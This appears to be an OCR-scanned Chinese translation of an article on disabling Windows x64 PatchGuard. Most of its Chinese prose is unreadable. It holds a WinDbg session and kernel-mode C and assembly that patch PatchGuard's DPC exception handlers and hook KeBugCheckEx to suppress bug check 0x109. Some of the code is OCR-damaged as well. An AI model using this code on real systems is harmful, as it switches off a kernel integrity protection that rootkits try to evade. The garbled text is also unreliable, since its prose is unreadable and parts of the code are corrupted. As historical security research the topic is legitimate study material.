FEWTEEAF . XRERFIFRREBITIEM R LKL (exception handlers) , Ti&7EKE SR EMN

HRETHIEE T AR X LT b R X bR HOh] LLUE T AR FAPT SR & #), Wint!Rt1LookupFuncti
onEntry () o XA HCK 21 B A BB B 15 B/ BFERUNTIME_FUNCTIONS MfA iR iR B 2 . B BXANEW
e g — SR EE uwindF 8. X unwindE BFHEE T R AR KA. RAT LS AT

H k& FEnt |ExpTimeRefreshDpcRoutine () BR % 53 % Ab 3 pR 5

1kd> . fnent nt!ExpTimeRefreshDpcRoutine

Debugger function entry 00000000 ‘Olcdaa4c for:

(ff£££800 “011010e0) nt!ExpTimeRefreshDpcRoutine |

(Ff£££f800 €011011d0) nt!ExpCenturyDpcRoutine

Exact matches:

nt!ExpTimeRefreshDpcRoutine = <no type information>

BeginAddress = 00000000 ‘001010e0

EndAddress = 00000000 ‘0010110d

UnwindInfoAddress = 00000000 ‘00131274

1kd> u nt + dwo(nt + 00131277 + (by(nt + 00131276) * 2) + 13)

nt!ExpTimeRefreshDpcRoutine+0x40:

800 ‘01101120 8bcO mov eax, eax

800 ‘01101122 55 push rbp

800 ‘01101123 4883ec30 sub rsp, 0x30

800 ‘01101127 488bea mov rbp, rdx

800 ‘0110112a 48894d50 mov [rbp+0x50], rcx

FHEEXNFELEREE, FREERENFMG T3 <At KeBugCheckEx () %, HBSoD codef® 0x
109. HRRBEIEERBINEM AR, PORlaBEXMEFG (0x109) RiERERER.

PAE =R B 78 e B R B 2428 0h, BHATR R R R#RE. WiDeferredContext®& A BB HIL, WH
B A R B 2 R R AT &40 7E INTTKDBS FP iR R 3P context IARAY, o Ant!FsRtlUninitializeSmall
Mcb O BR#, XA R0t 7 57 1 & AN KAEsub—context 1 B #.

3.5, IMEWIEA—F (Reporting Verification Inconsistencies)

A LA R FOT DL e b L 2L e 1l o 2D A Yot o R et LIRS I EVAN 7 SN 1 . L= B VAR | D BN Ttk e



PO B R BEZG M R EN S T, R Bl YA ANt ! >dplheckU1l1 () BNZL (code—Copy VersS1oniEfT A fRA, /NENE
%, RERNMEED) . FRBARXNRENSHZ GHSBTREHIER (function table) {£i%%nt!KeBugC
heckEx () Ei#. XE K function tablefEfFMAEPG context® . nt!SdpCheckD11 () B ¥ HI1EF R 7E Bk 5 2
nt!KeBugCheckEx () RE RG24 RTM (current frame) ZETHIFTA /7o MIARERIEO (JAXX: The purpose o
f nt!SdbpCheckDll is to zero out the stack and all of the registers prior to the current frame

before jumping to nt!KeBugCheckEx.) . iXFEMHHIE W] fE2RH 1L 28 =5 RSN H R #Ebug check repor
tEE AR . W SRR BRA A BB, WZRBLAE—NHPC contextFHF HIRE E tiner, ff

A HIDPC R HU 5t /2 28 — IR BEALIE H B R4 R 3.

245t 6447 windows R4t fIPatchGuard

TR TPGHRIRZHRBHENRYEEE, T—MEMRERERTAE HESIPCT, FERME G Wik
RISE R B, VRATLLE SRl —boot loader, ib'BIFEPGHIZHLZ BIBLIEZAT; AT LAE K ntoskrnl. exe, LA
STEDIBRPCHIIEN . ASCRAR G EREATERENRERE, WABEZEBRSG. FL L, BV EREA
BANREMARE, BULNRE, HRAEM T EE XA A RIS RS WS (device drivers) ,
L BEATRE T — AN R B LA PG R I ThEe, IXFEIRBN T Kk MK SR BT LA F A iThook % B8 45 1 1k 1) 7 2
##4Thook.

BEREBRARLFIEN — R RR A SN E R 2R EhE, RXRMRESR 7. ERANSH
XANVRE G PG VAR, R EE R IEEZITH (on the fly) PGHIJLANEAR. E—: BIFREHR
gk R AR, BREKEM 24 RTEHRIIEIER .. EXFBERT, KIEREURRFE— N tinerficontex
tHhHATIBTH, XA tiner 5—ANDPCHIKEE, MXADPCRHE—NMRALIELTE (system worker thread
) K. BARSTHABRELCERE . XADPCHIFEM 2 Mprinary PG contextH ) — Pk Fith bk # 40
FEMLIERERE, XA timer X R HHBRTEDueTimeth ZBENF=A B Wb Fh #0228 T 3G N4l A6 0 ) 3 !
O IX A B R BN YL, FATIERNIE 24 POAS I 2] 5% 58 45 44 4 A — B <> Fint | KeBugCheckEx () B %t (0x109
) LRGSR . ME T XE/NAGEE, SIPCHEBMERT .

4.1. Hooking## A¥E K% (Exception Handler Hooking)

BRARIX AN I6HIE R £ [A] B AR 3 X = timer DPCHIFE M 7 AL B B BORIAT, A BB RELHERHLLE
TIABUE R ER TR EEAET . WU HDPCHIEME T — BRIP4 IR 7 (general protection f
ault) , RELHERBESWERA, BEEASSHEMEAERN . 20K, XA FEE R (EHRTRARIPG)
SEMEANHERE— PRI DM EPCHXBKREFIR. HESRK, ENMRBREETMW=/1 %, H
KRETMRAR. REAXANRBEHAE, CRERIG MR REOERE, BTN 75 5 R
REE (return 0x1)  XAMFEREELT:

static CHAR CurrentFakePoolTagArray[] = “AcpSFileIpFIIrp MutaNtFsNtrfSemaTCPc”; //HB =%

NTSTATUS DisablePatchGuard ()
{
UNICODE_STRING SymbolName;
NTSTATUS Status = STATUS_SUCCESS;
PVOID * DpcRoutines = NULL;
PCHAR NtBaseAddress = NULL;
ULONG Offset;
Rt1InitUnicodeString(
&SymbolName,
L” C_specific_handler”):
do
{
//
// Get the base address of nt
//
if (!Rt1PcToFileHeader (
MmGetSystemRoutineAddress (&SymbolName),
(PCHAR *)&NtBaseAddress))



Status = STATUS_INVALID_IMAGE_FORMAT;

break;

//

// Search the image to find the first occurrence of:

//

// ”AcpSFilelpFIIrp MutaNtFsNtrfSemaTCPc”

//

// This is the fake tag pool array that is used to allocate protection contexts
//

__try

for (Offset = 0; !DpcRoutines; Offset += 4)
{
//
// If we find a match for the fake pool tag array, the DPC routine
// addresses will immediately follow.
//
if (memcmp (
NtBaseAddress + Offset,
CurrentFakePoolTagArray,
sizeof (CurrentFakePoolTagArray) — 1) == 0)

DpcRoutines = (PVOID *) (NtBaseAddress +
Offset + sizeof (CurrentFakePoolTagArray) + 3):

}
__except (EXCEPTION_EXECUTE HANDLER)
{
//
// If an exception occurs, we failed to find it. Time to bail out.
//
Status = GetExceptionCode () ;
break;
}
DebugPrint (("DPC routine array found at %p.”, DpcRoutines)) ;
//
// Walk the DPC routine array.
//
for (Offset = 0; DpcRoutines[0ffset] && NT SUCCESS (Status); Offset++)
{
PRUNTIME_FUNCTION Function;
ULONG64 ImageBase;
PCHAR UnwindBuffer;
UCHAR CodeCount ;
ULONG HandlerOffset;
PCHAR HandlerAddress;
PVOID LockedAddress;
PMDL Md1;



//
// If we find no function entry, then go on to the next entry.
//
if ((! (Function = RtlLookupFunctionEntry (
(ULONG64) DpcRoutines[0ffset],
&ImageBase,
NULL))) || (!Function->UnwindData))

Status = STATUS_INVALID_IMAGE_FORMAT;

continue;

//

// Grab the unwind exception handler address if we’ re able to find one.
//

UnwindBuffer = (PCHAR) (ImageBase + Function—>UnwindData) ;

CodeCount = UnwindBuffer[2];

//
// The handler offset is found within the unwind data that is specific
// to the language in question. Specifically, it’ s +0x10 bytes into
// the structure not including the UNWIND INFO structure itself and any
// embedded codes (including padding). The calculation below accounts
// for all these and padding.
//
HandlerOffset = % (PULONG) ((ULONG64) (UnwindBuffer + 3 +

(CodeCount * 2) + 20) & "3);

//

// calculate the full address of the handler to patch.

//

HandlerAddress = (PCHAR) (ImageBase + HandlerOffset) ;

DebugPrint (("Exception handler for %p found at %p (unwind %p).”,
DpcRoutines[0ffset],
HandlerAddress,
UnwindBuffer)) ;

//

// Finally, patch the routine to simply return with 1. We’ 11 patch with:
//

// 6A01 push byte 0xl

// 58 pop eax

// C3 ret

//

//
// Allocate a memory descriptor for the handler’ s address
//
if (1 (Mdl = MmCreateMdl ( NULL, (PVOID)HandlerAddress, 4)))
{

Status = STATUS_INSUFFICIENT RESOURCES;

continue;



//
// Construct the Mdl and map the pages for kernel-mode access.
//
MmBuildMd1ForNonPagedPool (Mdl) ;
if (! (LockedAddress = MmMapLockedPages (Mdl, KernelMode)))
{
IoFreeMdl (Md1) ;
Status = STATUS_ACCESS_VIOLATION;

continue;

//

// Interlocked exchange the instructions we’ re overwriting with.
//

InterlockedExchange ((PLONG) LockedAddress, 0xc358016a) ;

//

// Unmap and destroy the MDL

//

MmUnmapLockedPages (LockedAddress, Md1) ;

IoFreeMdl (Md1) ;

} //for
} while (0);
return Status;

}
AR SR BN BAE 5, A45RE /LR, BRI E Rpool tagB4H W4 i 7EDPCRR Hh
WHAH BE®RE, HIpool tagBAMKH T —MEEME, MMHKERTLEETRERZEEHEH, T
XUEJR R, FE5= P R A B .
4.2. Hooking KeBugCheckEx
PGARI TovE B S i) — N B Lt R H D F AR T ER S BAEAR — 8. B b, XATEERNBITHNT R
fEfE, BAKMARSE, UBIEE=77 BaksiEirRig. XM 7522 fint |KeBugCheckEx () B %, bug ch
eck codefi /e BIf10x109, X B KHAIBSoD, MARBRF. EERAIKRER RGN EH KRR MERET H
Lo (FEKIERBREEBER
A CHIE B B gead X AN BRI 88 — AN AEEEE R ibnt | KeBugCheckEx () B BUR B 2 A & KRB (caller’ s
caller frame) . XFEMRE LER, 7EHHAnt!KeBugCheckEx ) BREUS, E N4 LBIEN T — MR
#FEBE (debugger trap) , FTLUAFRRREIZIRAAZERET, HERA W RIREZHHAERRAbS. 2
/Mgl: FuncAi FHFuncB, FuncBfit R 7%, S 3nt!KeBugCheckEx () MBI, EARBERE B|FuncBRIEW T,
FALLE B B|FuncARIWIH (caller’ s call frame) . {HZ, BAIZAIE L, PCE LKA Hnt ! KeBugChec
kEx () ¥ 2 BT BORRERIBO T - Bk, #Bhook nt!KeBugCheckEx () B UFRIEEE —%%. BIRHKR, TE! (
PRI H— BT )
BT A —Forik, RARFEOFEEFFREME Efcontext, MEAFA “BMREHMSEEEEIHAN
O S HhE” XAMEIE. ST RATIELTE (system worker threads) , XA A B8 Hnt | ExpWorker
Thread OXFEMEE. FAEZNRA TIELEH T Mnt | ExpWorkerThread (), ZWfAIREH? AHEL.
FEIBE XN BB K context SH 5 R A LBEAHET, FANRATIELERZHKRMEET/ET (work items)
FEEET IDPCHIFE . FIE T 1X—pl, XANHIEHELEEEK, Bifhook nt!KeBugCheckEx () Bi%i I #IMibug check
codef& B Z0x109, WIRAR0x109, W E £z R4 HInt |KeBugCheckEx () B %, WHEZ0x109, NXA kTR
AUERE, ERNFELBERXNAHEENRIEE CARRIBEH0x8) , AFBHEBIXALIERStartAdd
ressfb. XML RRE, KEMEEE L —WMBEAERBEwork itemsHIHE R KIDPCHIFE .
FMBHER LR 2N BRI MNMEARLRE, HXHEMEATRER. FRNSSRERERA TI/ELEHF
BMEFREFTREMN. RATIELEIEESFBARZABSoD. Hook nt!KeBugCheckEx () BREIHEM T -

== ext. ASmM==============



. data
EXTERN OrigKeBugCheckExRestorePointer:PROC
EXTERN KeBugCheckExHookPointer:PROC

. code
; Points the stack pointer at the supplied argument and returns to the caller.

public AdjustStackCallPointer
AdjustStackCallPointer PROC
mov rsp, rcx

xchg r8, rcx

jmp rdx
AdjustStackCallPointer ENDP

; Wraps the overwritten preamble of KeBugCheckEx.

public OrigKeBugCheckEx

OrigKeBugCheckEx PROC

mov [rsp+8h], rcx

mov [rsp+10h], rdx

mov [rsp+18h], r8

lea rax, [OrigKeBugCheckExRestorePointer]
jmp gword ptr [rax]

OrigKeBugCheckEx ENDP

END

== antipatch. c===========

//

// Both of these routines reference the assembly code described
// above

//

extern VOID OrigKeBugCheckEx (

IN ULONG BugCheckCode,

IN ULONG_PTR BugCheckParameterl,

IN ULONG_PTR BugCheckParameter2,

IN ULONG_PTR BugCheckParameter3,

IN ULONG_PTR BugCheckParameter4) ;

extern VOID AdjustStackCallPointer (

IN ULONG_PTR NewStackPointer,

IN PVOID StartAddress,

IN PVOID Argument) ;

//

// mov eax, ptr

// jmp eax

//

static CHAR HookStub[] =
“\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xe0” ;
//

// The offset into the ETHREAD structure that holds the start routine.
//

static ULONG ThreadStartRoutineOffset = 0;

//



// The pointer into KeBugCheckEx after what has been overwritten by the hook.
//

PVOID OrigKeBugCheckExRestorePointer;

VOID KeBugCheckExHook (

IN ULONG BugCheckCode,

IN ULONG_PTR BugCheckParameterl,

IN ULONG_PTR BugCheckParameter2,

IN ULONG_PTR BugCheckParameter3,

IN ULONG_PTR BugCheckParameter4)

{

PUCHAR LockedAddress;

PCHAR ReturnAddress;

PMDL Mdl = NULL;

//

// Call the real KeBugCheckEx if this isn’ t the bug check code we’ re looking
// for.

//

if (BugCheckCode != 0x109)

{

DebugPrint (("Passing through bug check %.4x to %p.”

BugCheckCode,

OrigKeBugCheckEx)) ;

OrigKeBugCheckEx (

BugCheckCode,

BugCheckParameterl,

BugCheckParameter2,

BugCheckParameter3,

BugCheckParameter4) ;

}

else

{

PCHAR CurrentThread = (PCHAR)PsGetCurrentThread() ;

PVOID StartRoutine = *(PVOID *%) (CurrentThread + ThreadStartRoutineOffset) ;
PVOID StackPointer = IoGetInitialStack();

DebugPrint (("Restarting the current worker thread %p at %p (SP=%p, off=%lu).”,
PsGetCurrentThread (),

StartRoutine,

StackPointer,

ThreadStartRoutineOffset)) ;

//

// Shift the stack pointer back to its initial value and call the routine. We
// subtract eight to ensure that the stack is aligned properly as thread
// entry point routines would expect.

//

AdjustStackCallPointer ((ULONG_PTR)StackPointer — 0x8,

StartRoutine,

NULL) ;

}

//

// In either case, we should never get here.

//

__debugbreak() ;



}

VOID DisablePatchProtectionSystemThreadRoutine (

IN PVOID Nothing)

{

UNICODE_STRING SymbolName;

NTSTATUS Status = STATUS_SUCCESS;

PUCHAR LockedAddress;

PUCHAR CurrentThread = (PUCHAR)PsGetCurrentThread() ;
PCHAR KeBugCheckExSymbol;

PMDL Mdl = NULL;

Rt1InitUnicodeString(

&SymbolName,

L”KeBugCheckEx”) ;

do

{

//

// Find the thread’ s start routine offset.

//

for (ThreadStartRoutineOffset = 0;
ThreadStartRoutineOffset < 0x1000;
ThreadStartRoutineOffset += 4)

{

if (*(PVOID *%) (CurrentThread +
ThreadStartRoutineOffset) == (PVOID)DisablePatchProtection2SystemThreadRoutine)
break;

}

DebugPrint (("Thread start routine offset is 0x%. 4x.”,
ThreadStartRoutineOffset)) ;

//

// If we failed to find the start routine offset for some strange reason,
// then return not supported.

//

if (ThreadStartRoutineOffset >= 0x1000)

{

Status = STATUS_NOT_SUPPORTED;

break;

}

//

// Get the address of KeBugCheckEx.

//

if (! (KeBugCheckExSymbol = MmGetSystemRoutineAddress (&SymbolName)))
{

Status = STATUS_PROCEDURE_NOT_FOUND;

break;

}

//

// Calculate the restoration pointer.

//

OrigKeBugCheckExRestorePointer = (PVOID) (KeBugCheckExSymbol + 0xf) ;
//

// Create an initialize the MDL.

//

if (1 (MA1 = MmCreateMdl (



PN Vet smamv s v v sy

NULL,

(PVOID) KeBugCheckExSymbol,

0xf)))

{

Status = STATUS_INSUFFICIENT RESOURCES;
break;

}

MmBuildMd1ForNonPagedPool (

Mdl) ;

//

// Probe & Lock.

//

if (! (LockedAddress = (PUCHAR)MmMapLockedPages (
Mdl,

KernelMode)))

{

ToFreeMd1 (

Mdl) ;

Status = STATUS_ACCESS_VIOLATION;

break;

}

//

// Set the aboslute address to our hook.
//

% (PULONG64) (HookStub + 0x2) = (ULONG64)KeBugCheckExHook;
DebugPrint (("Copying hook stub to %p from %p (Symbol %p).”,
LockedAddress,

HookStub,

KeBugCheckExSymbol)) ;

//

// Copy the relative jmp into the hook routine.
//

Rt1CopyMemory (

LockedAddress,

HookStub,

0xf) ;

//

// Cleanup the MDL.

//

MmUnmapLockedPages (

LockedAddress,

Mdl) ;

ToFreeMdl (

Md1) ;

} while (0);

}

//

// A pointer to KeBugCheckExHook

//

PVOID KeBugCheckExHookPointer = KeBugCheckExHook;
NTSTATUS DisablePatchProtection() {
OBJECT_ATTRIBUTES Attributes;



NTSTATUS Status;

HANDLE ThreadHandle = NULL;

InitializeObjectAttributes (

&Attributes,

NULL,

OBJ_KERNEL_HANDLE,

NULL,

NULL) ;

//

// Create the system worker thread so that we can automatically find the

// offset inside the ETHREAD structure to the thread’ s start routine.

//

Status = PsCreateSystemThread (

&ThreadHandle,

THREAD_ALL_ACCESS,

&Attributes,

NULL,

NULL,

DisablePatchProtectionSystemThreadRoutine,

NULL) ;

if (ThreadHandle)

ZwClose (

ThreadHandle) ;

return Status;

}
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